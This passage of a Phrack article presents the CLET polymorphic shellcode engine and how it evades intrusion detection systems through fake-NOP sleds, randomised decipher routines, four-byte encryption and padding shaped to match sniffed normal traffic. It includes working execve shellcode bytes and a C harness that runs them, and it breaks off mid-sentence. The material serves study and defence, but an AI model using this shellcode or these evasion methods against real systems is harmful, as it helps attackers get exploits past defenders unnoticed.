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4643 lines
250 KiB
Text
4643 lines
250 KiB
Text
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==Phrack Inc.==
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Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f
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|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|
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|=----------------------------------------------------------------------=|
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|=--------[ theo detristan theo@ringletwins.com ]--------=|
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|=--------[ tyll ulenspiegel tyllulenspiegel@altern.org ]--------=|
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|=--------[ yann_malcom yannmalcom@altern.org ]--------=|
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|=--------[ mynheer superbus von underduk msvu@ringletwins.com ]--------=|
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|=----------------------------------------------------------------------=|
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--[ 0 - Contents
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1 - Abstract
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2 - Introduction
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3 - Polymorphism: principles and usefulness against NIDS.
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4 - Make the classical IDS pattern matching inefficient.
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5 - Spectrum Analysis to defeat data mining methods.
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6 - The CLET polymorphism engine
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7 - References
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--[ 1 - Abstract
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Nowadays, polymorphic is maybe an overused word. Some programs called
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polymorphism engine have been lately released with constant decipher
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routines. Polymorphism is a method against pattern matching (cf 3.2),
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if you have constant consecutive bytes in the code you generate, NIDS
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will always be able to recognize the signature of those constant bytes...
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In some real engine (which generate non-constant decipher routine like
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ADMmutate), there are some weaknesses left (maybe weaknesses isn't the
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best word since the recent NIDS are not able to exploit them) like the
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XOR problem (cf 4.2) or a NOP zone with only one byte instructions
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(cf 4.1). In our engine, we have been interested in these problems (cf 4)
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and we have tried to implement some solutions. We have tried too to
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implement methods against the next generation of NIDS using data-mining
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methods (cf 5).
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However we don't claim to have created an 'ultimate' polymorphic
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engine. We are aware of some weaknesses that exist and can be solved with
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solutions we expose below but we haven't implemented yet. There are
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probably some weaknesses too we're not aware of, your mails are welcome
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for the next version.
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This article explains our work, our ideas, we hope you will enjoy it.
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--[ 2 - Introduction
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Since the famous "Smashing the stack for fun and profit", the technique
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of buffer overflow has been widely used to attack systems.
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To confine the threat new defense systems have appeared based on pattern
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matching. Nowadays, Intrusion Detection System (IDS) listen the trafic
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and try to detect and deny packets containing shellcode used in buffer
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overflow attacks.
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On the virus scene, a technique called polymorphism appeared in 1992. The
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idea behind this technique is very simple, and this idea can be applied to
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shellcodes. ADMmutate is a first public attempt to apply polymorphism to
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shellcode.
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Our aim was to try to improve the technique, find enhancements and to
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apply them to an effective polymophic shellcode engine.
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--[ 3 - Polymorphism: principles and usefulness against NIDS.
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----[ 3.1 - Back in 1992...
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In 1992, Dark Avenger invented a revolutionary technique he called
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polymorphism. What is it ? It simply consist of ciphering the code of the
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virus and generate a decipher routine which is different at each time, so
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that the whole virus is different at each time and can't be scanned !
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Very good polymorphic engines have appeared : the TridenT Polymorphic
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Engine (TPE), Dark Angel Mutation Engine (DAME).
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As a consequence, antivirus makers developped new heuristic techniques
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such as spectrum analysis, code emulators, ...
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----[ 3.2 - Principles of polymorphism
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Polymorphism is a generic method to prevent pattern-matching. Pattern-
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matching means that a program P (an antivirus or an IDS) has a data-base
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with 'signatures'. A signature is bytes suite identifying a program.
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Indeed, take the following part of a shellcode:
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push byte 0x68
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push dword 0x7361622f
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push dword 0x6e69622f
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mov ebx,esp
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xor edx,edx
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push edx
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push ebx
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mov ecx,esp
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push byte 11
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pop eax
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int 80h
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This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call.
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This part is coded as:
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"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
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"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".
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If you locate this contiguous bytes in a packet destinated to a web
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server, it can be an attack. An IDS will discard this packet.
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Obviously, there are other methods to make an execve call, however, it
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will make an other signature. That's what we call pattern matching.
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Speak about viruses or shellcodes is not important, the principles are the
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same. We will see later the specificities of shellcodes.
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Imagine now you have a code C that a program P is searching for. Your
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code is always the same, that's normal, but it's a weakness. P can have
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a caracteristic sample, a signature, of C and make pattern matching to
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detect C. And then,C is no longer useable when P is running.
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The first idea is to cipher C. Imagine C is like that :
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[CCCCCCC]
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Then you cipher it :
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[KKKKKKKK]
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But if you want to use C, you must put a decipher routine in front of it :
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[DDDDKKKKKKKK]
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Great ! You have ciphered C and the sample of C that is in P is no longer
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efficient. But you have introduced a new weakness because your decipher
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routine will be rather the same (except the key) each time and P will be
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able to have a sample of the decipher routine.
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So finally, you have ciphered C but it is still detected :(
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And polymorphism was born !
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The idea is to generate a different decipher routine each time."different"
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really means different, not just the key. You can do it with different
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means :
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- generate a decipher routine with different operations at each time. A
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classic cipher/decipher routine uses a XOR but you can use whatever
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operation that is reversible : ADD/SUB, ROL/ROR, ...
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- generate fake code between the true decipher code. For example, if you
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don't use some registers, you can play with them, making fake operations
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in the middle of the effective decipher code.
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- make all of them.
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So a polymorphism engine makes in fact 2 things :
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- cipher the body of the shellcode.
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- generate a decipher routine which is _different_ at each time.
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----[ 3.3 - Polymorphism versus NIDS.
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A code of buffer overflow has three or four parts:
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--------------------------------------------------------------------------
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| NOP | shellcode | bytes to cram | return adress |
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--------------------------------------------------------------------------
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Nowadays, NIDS try to find consecutive NOPs and make pattern matching on
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the shellcodes when it believes to have detected a fakenop zone. This is
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not a really efficient method, however we could imagine methodes to
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recognize the part of bytes which cram the buffer or the numberous
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consecutive return adresses.
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So, our polymorphic engine have to work on each of those parts to make them
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unrecognizable. That's what we try to do:
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- firstly, the NOPs series is changed in a series of random instructions
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(cf 4.1 "fake-nop") of 1,2,3 bytes.
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- secondly, the shellcode is ciphered (with a random method using more
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than an only XOR) and the decipher routine is randomly generated.
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(cf 4.2)
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- thirdly, in a polymorphic shellcode, a big return adress zone has to
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be avoided. Indeed, such a big zone can be detected, particulary by
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data mining methods. To defeat this detection, the idea is to try to
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limit the size of the adress zone and to add bytes we choose between
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shellcode and this zone. This bytes are chosen randomly or by using
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spectrum analysis (cf 5.3.A).
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- endly, we haven't found a better method than ADMmutate's to covert
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the return adresses: since the return adresse is chosen with
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uncertainly, ADMmutate changes the low-weight bits of the return adress
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between the different occurences (cf 4.2).
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NB: Shellcodes are not exactly like virus and we can take advantage of it:
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- A virus must be very careful that the host program still works after
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infection ; a shellcode does not care! We know that the shellcode will
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be the last thing to be executed so we can do what we want with
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registers for example, no need to save them.
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We can take good avantage of this, and in our fake-nop don't try to make
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code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...)
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(what could be moreover easily recognizable by an IDS which would
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make code emulation). Our fake-nop is a random one-byte instructions
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code, and we describe another method (not implemented yet) to improve
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this, because generating only one-byte instructions is still a weakness.
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- The random decipher method has to be polymorphed with random code (but
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not necessarily one-byte instructions) wich makes anything but without
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consequences on the deciphering (hum... not implemented yet :(
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- A shellcode must not have zeroes in it, since, for our using, we always
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using strings to stock our code. so we have to take care of it...
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Thus, this is what a polymorphic shellcode looks like:
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-------------------------------------------------------------------------
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| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
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-------------------------------------------------------------------------
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Let's now study each part of it.
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--[ 4 - Make classical IDS pattern matching inefficient.
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----[ 4.1 - Fake NOPs zone with 2,3 bytes instructions.
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------[ 4.1.A - Principles
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NOPs are necessary before the shellcode itself. In fact, why is it
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necessary ? Because we don't know exactly where we jump, we just know we
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jump in the middle of the NOPs (cf article of Aleph One [1]). But it is
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not necessary to have NOPs, we can have almost any non-dangerous
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instructions. Indeed, we don't have to save some register, the only
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condition we have is to arrive until the decipher routine without errors.
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However we can't use any 'non-dangerous' instructions. Indeed, remember
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we don't know exactly where we jump.
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One method to avoid this problem is to make the nop zone with only one-
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byte instructions. Indeed, in such a case, wherever we jump we fall on
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an correct instruction. The problem of such a choice is that there is not
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a lot of one byte instructions. It is thus relatively easy for an IDS to
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detect the NOPs zone. Hopefully many one-byte instructions can be coded
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with an uppercase letter, and so we could hide the nop zone in an
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alphanumeric zone using the american-english dictionnary (option -a of
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clet). However, as we explain in 5, such a choice can be inefficience,
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above all when the service asked is not an 'alphanumeric service' (cf 5).
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Thus the problem is : how could we generate a random fake-nop using
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several-bytes instructions to better covert our fake nop?
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There is a simple idea: we could generate two-byte intructions, the
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second byte of which is a one-byte instruction or the first byte of a
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two-byte instruction of this type and then recursively.
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But let's see what can be problems of such a method.
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------[ 4.1.B - Non-dangerous several bytes instructions.
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- Instructions using several bytes can be dangerous because they can
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modify the stack or segment selectors (etc...) with random effects.
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So we have to choice harmless instructions (to do it, the book [3] is
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our friend... but we have to make a lot of tests on the instructions we
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are choosing).
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- Some times, several-bytes instructions ask for particular suffixes to
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specify a register or a way of using this instruction (see modR/M
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[3]). For example, instruction CMP rm32,imm32 (compare) with such a code
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"0x81 /7 id" is a 6-bytes instruction which asks for a suffix to specify
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the register to use, and this register must belong to the seventh column
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of the "32-bit adressing Forms with the modR/M Byte" (cf[3]). However,
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remember that everywhere the code pointer is pointing within the
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fake-nop, it must be able to read a valid code. So the suffix and
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arguments of instructions must be instructions themselves.
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------[ 4.1.C - An easy case
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Let's take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
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If we are following this code from the begining, we are reading:
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ADC $0x11F8FA81 #instruction demanding 4-bytes argument
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STC #one-byte instructions
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DAA
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DAS
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NOP
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SAHF
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If we are begining from the second byte, we are reading:
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ADC %eax,%edx
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CMP %ecx,$0x272F909E
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Etc... We can begin from everywhere and read a valid code which makes
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nothing dangerous...
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------[ 4.1.D Test the fake-nop
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char shell[] =
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"\x99\x13\xF6\xF6\xF8" //our fake_nop
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"\x21\xF8\xF5\xAE"
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"\x98\x99\x3A\xF8"
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"\xF6\xF8"
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"\x3C\x37\xAF\x9E"
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"\xF9\x3A\xFC"
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"\x9F\x99\xAF\x2F"
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"\xF7\xF8\xF9\xAE"
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"\x3C\x81\xF8\xF9"
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"\x10\xF5\xF5\xF8"
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"\x3D\x13\xF9"
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"\x22\xFD\xF9\xAF"
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//shellcode
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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int main()
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{
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void (*go)()=(void *) shell;
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go();
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return(0);
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}
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We test a fake_nop string generate with our code... but it's not really
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efficient as you can see :
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when the adress (shell+i) of the function go() is change the testing
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program exited with:
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shell -> sh-2.05b$
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shell+1 -> sh-2.05b$
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shell+2 -> Floating point exception Argh!
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shell+3 -> sh-2.05b$
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shell+4 -> sh-2.05b$
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...
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shell+11 -> sh-2.05b$
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We haven't been care enough with the choice and the organization of our
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instructions for the fake_nop and then we can randomly have segfaults
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or Floating point exceptions...(Really boring)
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------[ 4.2 - The decipher routine
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There are maybe two different methods to generate a decipher routine:
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- you can use always the same routine but modify instructions. For
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instance you can use add eax,2 or inc eax; inc eax; the result will be
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the same but the code not.
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|
|
- you can generate a different routine of decipher too.
|
||
|
|
|
||
|
|
In this two methods, you can add code between instructions of the
|
||
|
|
decipher routine. Obviously, this add code mustn't modify running of this
|
||
|
|
routine.
|
||
|
|
CLET have chosen the second approach, and we don't generate code between
|
||
|
|
instructions because registers we use, order of instructions, type of
|
||
|
|
instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not
|
||
|
|
necessary to add instructions...
|
||
|
|
|
||
|
|
* XOR with a fixed size key is not enough
|
||
|
|
|
||
|
|
There is a problem with using a decipher routine with only a XOR and a
|
||
|
|
fixed size key. Mark Ludwig [5] describes it in From virus to antivirus
|
||
|
|
with a concrete example. The real problem comes from the associativity and
|
||
|
|
commutativity of the XOR operation and from the constant size of the key.
|
||
|
|
|
||
|
|
Imagine you cipher these two bytes B1 B2 with the key K, you obtain two
|
||
|
|
ciphered bytes: C1 C2.
|
||
|
|
|
||
|
|
C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
|
||
|
|
= B1 XOR K XOR B2 XOR K
|
||
|
|
= B1 XOR B2 XOR K XOR K
|
||
|
|
= B1 XOR B2 XOR (K XOR K)
|
||
|
|
= B1 XOR B2 XOR 0
|
||
|
|
= B1 XOR B2
|
||
|
|
= Constant (independant on K)
|
||
|
|
|
||
|
|
We understand why an encrypted shellcode with a only XOR decipher routine
|
||
|
|
and a fixed size key let a carateristic signature of the shellcode. You
|
||
|
|
just have to XOR bytes with their neighboor in case of a single byte key,
|
||
|
|
you will always have the same result, which is independant on K. In case
|
||
|
|
of you have a key of N bytes, to obtain the signature you XOR bytes k with
|
||
|
|
bytes k+N. Such a signature could be exploited by the NIDS (however you
|
||
|
|
need a lot of calculation power).
|
||
|
|
|
||
|
|
It's important to notice (thanks for those who tell us ;) ) that the real
|
||
|
|
problem is not only a XOR. It's an only-XOR encryption AND a fixed size
|
||
|
|
key. Indeed, some vx polymorphic engines, use an only XOR in the
|
||
|
|
encryption but the key is not the same for all the ciphering. The key
|
||
|
|
changes, and size of the key too. In such a case, our demonstration is
|
||
|
|
inefficient because B1 and B2 are not ciphered with the same key K and you
|
||
|
|
don't know where is the next byte ciphered with the same key (that's what
|
||
|
|
you know when you use an only-XOR encryption with a fixed size key of
|
||
|
|
several bytes.)
|
||
|
|
|
||
|
|
So a cipher routine using only a XOR and a fixed size key is not enough.
|
||
|
|
In CLET we generate routines which cipher with several instructions XOR,
|
||
|
|
ADD, ROR, ...
|
||
|
|
|
||
|
|
|
||
|
|
* Random registers
|
||
|
|
|
||
|
|
Remember we decide to generate a different decipher routine each time.
|
||
|
|
Even if we change the type of ciphering each time, it is important too to
|
||
|
|
modify asembler instructions that make this decipher routine. To do so,
|
||
|
|
we have decided to change registers used. We need three registers, one
|
||
|
|
to record address where we are working, one to record byte we are working
|
||
|
|
on, one more register for all the other things. We have the choice between
|
||
|
|
eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.
|
||
|
|
|
||
|
|
|
||
|
|
* Four bytes encryption to defeat spectrum analysis methods.
|
||
|
|
|
||
|
|
Let's begin to explain what we call a spectrum and what is spectrum
|
||
|
|
analysis.
|
||
|
|
|
||
|
|
A spectrum of a paquet gives you bytes and number of this bytes in this
|
||
|
|
packet.
|
||
|
|
|
||
|
|
For instance, the following board is a spectrum of a paquet called X:
|
||
|
|
|
||
|
|
|\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|
|
||
|
|
-----------------------------------------------
|
||
|
|
| 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |
|
||
|
|
|
||
|
|
This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ...
|
||
|
|
This board is what we call spectrum of X.
|
||
|
|
|
||
|
|
A spectrum analysis method makes spectrums of packets and create rules
|
||
|
|
thanks to these spectrums. Some IDS use spectrum analysis methods to
|
||
|
|
discard some packets. For instance, imagine that, in a normal trafic, you
|
||
|
|
never have packets with more than 20 bytes of \xFF. You can make the
|
||
|
|
following rule: discard packets with more than 20 bytes of \xFF. This
|
||
|
|
is a very simple rule of spectrum analysis, in fact lots of rules are
|
||
|
|
generated (with neural approach for instance, see 5.2) about spectrum of
|
||
|
|
packets. This rules allow an IDS to discard some packets thanks to their
|
||
|
|
spectrums. This is what we call a spectrum analysis method.
|
||
|
|
|
||
|
|
Now, let's see how an IDS can put together pattern matching and spectral
|
||
|
|
analysis methods.
|
||
|
|
|
||
|
|
The idea is to record signatures but not signatures of consecutive bytes,
|
||
|
|
signatures of spectrum. For instance, for the previous packet X, we
|
||
|
|
record: 25, 32, 04, 18, 56, 43, ...., 67, 99. Why these values? Because
|
||
|
|
if you use a lonely byte encryption these values will always be the same.
|
||
|
|
|
||
|
|
In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1
|
||
|
|
we obtain a packet X' which spectrum is:
|
||
|
|
|
||
|
|
|
||
|
|
|\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|
|
||
|
|
-----------------------------------------------
|
||
|
|
| 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |
|
||
|
|
|
||
|
|
|
||
|
|
This spectrum is different, order of values is different; however we have
|
||
|
|
the same values but affected to other bytes. Spectrum signature is the
|
||
|
|
same. With such a way of encryption, the spectrum of the occurences of
|
||
|
|
each encrypted bytes is a permutation of the spectrum of the unencrypted
|
||
|
|
bytes. The encryption of a lonely byte return a value which is unique and
|
||
|
|
caracteristical of this byte, that's really a problem.
|
||
|
|
|
||
|
|
In order to avoid signatures similarities, the shellcode is four bytes
|
||
|
|
encrypted and this method prevents us to have a singular spectrum of
|
||
|
|
occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD,
|
||
|
|
ADD 1, we obtain 66554433. Thus, spectrum of X' won't be a permutation
|
||
|
|
of spectrum of X. A four-bytes encryption allows us to avoid this kind
|
||
|
|
of spectrum analysis.
|
||
|
|
|
||
|
|
But spectrum analysis methods are just a kind of more general methods,
|
||
|
|
called data-mining methods. We will see now what are these methods and
|
||
|
|
how we can use spectrum analysis of the trafic to try to defeat this more
|
||
|
|
general kind of methods.
|
||
|
|
|
||
|
|
|
||
|
|
--[ 5 - Spectrum Analysis to defeat data mining methods
|
||
|
|
|
||
|
|
|
||
|
|
----[ 5.1 - History
|
||
|
|
|
||
|
|
When vxers had discovered polymorphism, authors of antivirus were afraid
|
||
|
|
that it was the ultimate solution and that pattern matching was dead.
|
||
|
|
To struggle this new kind of viruses, they decided to modify their
|
||
|
|
attacks. Antivirus with heuristic analysis were born. This antivirus tries
|
||
|
|
for instance to execute the code in memory and test if this code modifies
|
||
|
|
its own instructions (if it tries to decipher it for instance), in such
|
||
|
|
a case, it can be a polymorphed virus.
|
||
|
|
As we see upper, four-bytes encryption, not using an only XOR and a fixed
|
||
|
|
size key, fakenop zone with more than one-byte instructions allow to
|
||
|
|
'defeat' pattern matching. Perhaps it remains some weaknesses, however we
|
||
|
|
think that polymorphism engines will be more and more efficient and that
|
||
|
|
finally it will be too difficult to implement efficient pattern matching
|
||
|
|
methods in IDS.
|
||
|
|
Will IDS take example on the antivirus and try to implement heuristic
|
||
|
|
method? We don't think so because there is a big difference between IDS
|
||
|
|
and antivirus, IDS have to work in real time clock mode. They can't record
|
||
|
|
all packets and analyse them later. Maybe an heuristic approach won't be
|
||
|
|
used. Besides, Snort IDS, which tries to develop methods against
|
||
|
|
polymorphed shellcodes, don't use heuristic methods but data mining
|
||
|
|
methods. It's probably these methods which will be developped, so that's
|
||
|
|
against these methods we try to create polymorphic shellcodes as we
|
||
|
|
explain in 5.3 after having given a quick explaination about data mining
|
||
|
|
methods.
|
||
|
|
|
||
|
|
|
||
|
|
----[ 5.2 - A example of a data mining method, the neural approach
|
||
|
|
or using a perceptron to recognize polymorphic shellcode.
|
||
|
|
|
||
|
|
|
||
|
|
As we explained it before, we want that, from a set of criterions detected
|
||
|
|
by some network probes, a manager takes a real time reliable decision on
|
||
|
|
the network trafic. With the development of polymorphic engines, maybe
|
||
|
|
pattern matching will become inefficient or too difficult to be
|
||
|
|
implemented because you have to create lots of rules, perhaps sometimes
|
||
|
|
you don't know. Is there a solution? We have lots of informations and we
|
||
|
|
want to treat them quickly to finaly obtain a decision, that's the general
|
||
|
|
goal of what are called data mining methods.
|
||
|
|
|
||
|
|
In fact, the goal of data mining is the following:
|
||
|
|
|
||
|
|
from a big set of explanatory variables (X1,..,XN) we search to take a
|
||
|
|
decision on an unknown variable Y. Notice that:
|
||
|
|
|
||
|
|
* this decision has to be taken quickly (problem of calculating
|
||
|
|
complexity)
|
||
|
|
* this decision has to be reliable (problem of positif falses...)
|
||
|
|
|
||
|
|
There is a lot of methods which belongs to theory of data mining. To
|
||
|
|
make understanding the CLET approach about anti-data mining methods, we
|
||
|
|
have decided to show one of them (actually bases of one of them): the
|
||
|
|
connexionist method because this method has several qualities for
|
||
|
|
intrusion detection:
|
||
|
|
|
||
|
|
* the recognition of intrusion is based on learning. For example, with an
|
||
|
|
only neuron, the learning consists in choosing the best explanatory
|
||
|
|
variables X1,...,XN and setting the best values for the parameters
|
||
|
|
w1,...wN (cf below).
|
||
|
|
* thanks to this learning, a neural network is very flexible and is able
|
||
|
|
to work with a big number of variables and with explanation of Y with the
|
||
|
|
variables X1,...,XN ().
|
||
|
|
|
||
|
|
So, in a network, such an approach seems to be interesting, since the
|
||
|
|
number of explanatory variables is certainly huge. Let's explain bases of
|
||
|
|
it.
|
||
|
|
|
||
|
|
|
||
|
|
------[ 5.2.A - Modelising a neuron.
|
||
|
|
|
||
|
|
To understand how can work an IDS using a data-mining method based on
|
||
|
|
neural approach, we have to understand how work a neuron (so called
|
||
|
|
because this kind of programs copy neuron of your brain). The scheme
|
||
|
|
below explains how a neuron runs.
|
||
|
|
As in your brain, a neuron is a simple calculator.
|
||
|
|
|
||
|
|
____________
|
||
|
|
X1 --------w1--------| |
|
||
|
|
| |
|
||
|
|
X2---------w2--------| |
|
||
|
|
| Neuron |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
|
||
|
|
... | |
|
||
|
|
| |
|
||
|
|
XN --------wN--------|____________|
|
||
|
|
|
||
|
|
|
||
|
|
fh is the function defined by: |
|
||
|
|
fh(x)=1 if x>0 | B is called the offset of the neuron.
|
||
|
|
fh(x)=0 if x<=0 |
|
||
|
|
|
||
|
|
So we understand that the exiting value is 0 or 1 depending of the
|
||
|
|
entering value X1,X2,...,XN and depending on w1,w2,...,wN.
|
||
|
|
|
||
|
|
------[ 5.2.B - a data-mining method: using neural approach in an IDS.
|
||
|
|
|
||
|
|
Imagine now that the value X1,X2,...,XN are values of the data of a
|
||
|
|
packet: X1 is the first byte, X2 the second,..., XN the last one (you can
|
||
|
|
choose X1 the first bit, X2 the second, etc... if you want that the
|
||
|
|
entering values are 0 or 1) (we can choose too X1 number of \x00, X2
|
||
|
|
number of \x01,... there are many methods, we expose one idea here in
|
||
|
|
order to explain data mining). The question is: which w1,w2,...wN have we
|
||
|
|
to choose in order to generate an exiting value of 1 if the packet is a
|
||
|
|
'dangerous' one and 0 if it is a normal one? We can't find value, our
|
||
|
|
neuron have to learn them with the following algorithm:
|
||
|
|
|
||
|
|
w1,w2,...,wN is first chosen randomly.
|
||
|
|
Then we create some packets and some 'dangerous' packets with polymorphic
|
||
|
|
engine, and we test them with the neuron.
|
||
|
|
We modify the wI when the exiting value is wrong.
|
||
|
|
|
||
|
|
If the exiting value is 0 instead of 1:
|
||
|
|
wI <- wI + z*xI 0<=I<=N
|
||
|
|
If the exiting value is 1 instead of 0:
|
||
|
|
wI <- wI - z*xI 0<=I<=N
|
||
|
|
|
||
|
|
z is a constant value chosen arbitrarily.
|
||
|
|
|
||
|
|
In easy stages, neuron will 'learn' to recognize normal packets from
|
||
|
|
'dangerous' ones. In a real IDS, one neuron is not sufficient, and the
|
||
|
|
convergence have to be studied. There is however two big advantages of
|
||
|
|
neural approach:
|
||
|
|
|
||
|
|
* decisions of a neural network depend not directly on rules written by
|
||
|
|
humans, they are based on learning which set "weights" of different
|
||
|
|
entries of neurons according to the minimization of particular statistical
|
||
|
|
criterions. So the decisions are more shrewd and more adapted to the local
|
||
|
|
network traffic than general rules.
|
||
|
|
* when the field of searching is important (huge data bases for pattern
|
||
|
|
matching), data mining approach is quicker because the algorithm has not
|
||
|
|
to search in a huge data bases and as not to perform a lot of calculations
|
||
|
|
(when the choice of the network topology, of explanatory variables and
|
||
|
|
learning are "good"...)
|
||
|
|
|
||
|
|
|
||
|
|
----[ 5.3 - Spectrum Analysis in CLET against data mining method.
|
||
|
|
|
||
|
|
The main idea of the method we expose upper, like lots of data mining
|
||
|
|
methods, is to learn to recognize a normal packet from a 'dangerous'
|
||
|
|
packet. So we understand that to struggle this kind of methods, simple
|
||
|
|
polymorphism can be not enough, and alphanumeric method (enjoy the
|
||
|
|
excellent article of rix), can be inefficient. Indeed, in a case of a
|
||
|
|
non-alphanumeric communication, alphanumeric data will be considered as
|
||
|
|
strange and will create an alert. The question is to know how a polymorph
|
||
|
|
engine can generate a polymorphic shellcode which will be considered as
|
||
|
|
normal by an IDS using data mining methods. Maybe CLET engine shows a
|
||
|
|
beginning of answer. Howerer we are aware of some weaknesses (for
|
||
|
|
nstance the SpectrumFile has no influence under the fakenot zone), we work
|
||
|
|
today on this weaknesses.
|
||
|
|
Let's see how it works.
|
||
|
|
|
||
|
|
Imagine the following case:
|
||
|
|
|
||
|
|
_________
|
||
|
|
| Firewall| ________
|
||
|
|
---Internet---| + |------| Server |
|
||
|
|
| IDS | |________|
|
||
|
|
|_________|
|
||
|
|
|
||
|
|
|
||
|
|
We can suppose that the IDS analyses the entering packet with a port
|
||
|
|
destination 80 and the ip of the server with data mining methods.
|
||
|
|
To escape this control, our idea is to generate bytes which values are
|
||
|
|
dependant on the probability of this values in a normal trafic:
|
||
|
|
|
||
|
|
theo@warmach# sniff eth0 80 2>fingerprint &
|
||
|
|
theo@warmach$ lynx server.com
|
||
|
|
|
||
|
|
The program sniff will listen on interface eth0 the leaving packet with a
|
||
|
|
destination port 80 and record the data of them in a file fingerprint in
|
||
|
|
binary.
|
||
|
|
Then, we begin to navigate normally to record a 'normal' trafic.
|
||
|
|
|
||
|
|
theo@warmach$ stat fingerprint Spectralfile
|
||
|
|
|
||
|
|
The program stat will generate a file Spectralfile which content have the
|
||
|
|
following format:
|
||
|
|
|
||
|
|
0 (number of bytes \x00 in leaving data destinated to server)
|
||
|
|
1 (number of bytes \x01 in leaving data destinated to server)
|
||
|
|
...
|
||
|
|
FF (number of bytes \xFF in leaving data destinated to server)
|
||
|
|
|
||
|
|
This Spectralfile can be generated by lots of methods. Instead of my
|
||
|
|
example, you can decide to generate it from the trafic on a network,
|
||
|
|
you can decide to write it if you have specials demands....
|
||
|
|
|
||
|
|
Now the question is, how can we use this file? how can we use a
|
||
|
|
description of a trafic? Option f of clet allows us to use a analysis of
|
||
|
|
a trafic, thanks to this spectral file.
|
||
|
|
|
||
|
|
theo@warmach$ clet -n 100 -c -b 100 -f Spectralfile -B
|
||
|
|
(cf 6 for options)
|
||
|
|
|
||
|
|
Action of option -f is different between the different zones (NOPzone,
|
||
|
|
decipher routine, shellcode, cramming zone). Indeed we want to modify,
|
||
|
|
thanks to SpectralFile, process of generation of polymorphic shellcode but
|
||
|
|
we can't have the same action upon the different zones because we have
|
||
|
|
constraints depending on zones. It's for instance, in some cases, very
|
||
|
|
difficult to generate a fake nop zone according to a spectrum analysis.
|
||
|
|
|
||
|
|
Let see how we can act upon this different zones.
|
||
|
|
|
||
|
|
|
||
|
|
------[ 5.3.1 - Generate cramming bytes zone using spectrum analysis.
|
||
|
|
|
||
|
|
The simplest idea is to generate a craming bytes zone which spectrum is
|
||
|
|
the same than trafic spectrum:
|
||
|
|
|
||
|
|
-------------------------------------------------------------------------
|
||
|
|
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
|
||
|
|
-------------------------------------------------------------------------
|
||
|
|
^
|
||
|
|
|
|
||
|
|
|
|
||
|
|
the probability of these bytes
|
||
|
|
are dependant on the Spectralfile
|
||
|
|
(without the value \x00)
|
||
|
|
|
||
|
|
If there is no file in argument, there is equiprobability for all the
|
||
|
|
values (without zero)...
|
||
|
|
This process of generation is used if you don't use -B option.
|
||
|
|
|
||
|
|
However cramming bytes zone is the gold zone. In that way, we can generate
|
||
|
|
bytes we want. Remember that in some zones, we don't use spectrum
|
||
|
|
analysis (like in DecipherRoutine in our version). It will more usefull to
|
||
|
|
use cramming bytes zone in order to add bytes we lack in previous zones in
|
||
|
|
which we can't so easily use spectral file. Let's go!
|
||
|
|
|
||
|
|
|
||
|
|
--------[ 5.3.1.A - A difficult problem
|
||
|
|
|
||
|
|
To explain it, we will take a simple example. We are interested in a zone
|
||
|
|
where there are only three bytes accepted called A,B,C. A spectrum study
|
||
|
|
of these zone shows us:
|
||
|
|
|
||
|
|
A: 50
|
||
|
|
B: 50
|
||
|
|
C: 100
|
||
|
|
|
||
|
|
The problem is that, because of our shellcode and our nop_zone, we have
|
||
|
|
the following fixed beginning of our packet:
|
||
|
|
|
||
|
|
ABBAAAAA (8 bytes)
|
||
|
|
|
||
|
|
We can add two bytes with our cramming zone. The question is:
|
||
|
|
which 2 bytes have we to choose?
|
||
|
|
|
||
|
|
The answer is relativy simple, intuitively we think of CC, why?
|
||
|
|
because C is important in trafic and we don't have it. In fact, if we
|
||
|
|
call
|
||
|
|
Xa the random variable of Bernouilli associated to the number of A in the
|
||
|
|
first 9 bytes
|
||
|
|
Xb the random variable of Bernouilli associated to the number of B in the
|
||
|
|
first 9 bytes
|
||
|
|
Xc the random variable of Bernouilli associated to the number of C in the
|
||
|
|
first 9 bytes
|
||
|
|
|
||
|
|
we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
|
||
|
|
and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)
|
||
|
|
|
||
|
|
|
||
|
|
Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking,
|
||
|
|
more probablities to exist than ABBAAAAAA or ABBAAAAAB.
|
||
|
|
|
||
|
|
Maybe you can think that it is because C has the most important
|
||
|
|
probability in the trafic. It's a wrong way of thinking. Indeed, imagine
|
||
|
|
we have the following beginning:
|
||
|
|
|
||
|
|
CCCCCBBB
|
||
|
|
|
||
|
|
how have to choose the next byte? we will choose A although A and B have
|
||
|
|
the same probability to come because of the reason explained upper.
|
||
|
|
|
||
|
|
Ok so we choose C. Using the same principles, we then choose C for the
|
||
|
|
tenth bytes: ABBAAAAACC.
|
||
|
|
|
||
|
|
The problem is that we can't use this method to generate the cramming
|
||
|
|
bytes. Indeed, this method is fixed. When we write fixed, we want to say
|
||
|
|
that the first 8 bytes fixed the two following. That is a weakness!
|
||
|
|
In that way, if we generate the cramming bytes zone by this method, that
|
||
|
|
means that the beginning zone (nop_zone+ decipher + shellcode) will fix
|
||
|
|
the cramming zone. If we use a principle, we create a method to recognize
|
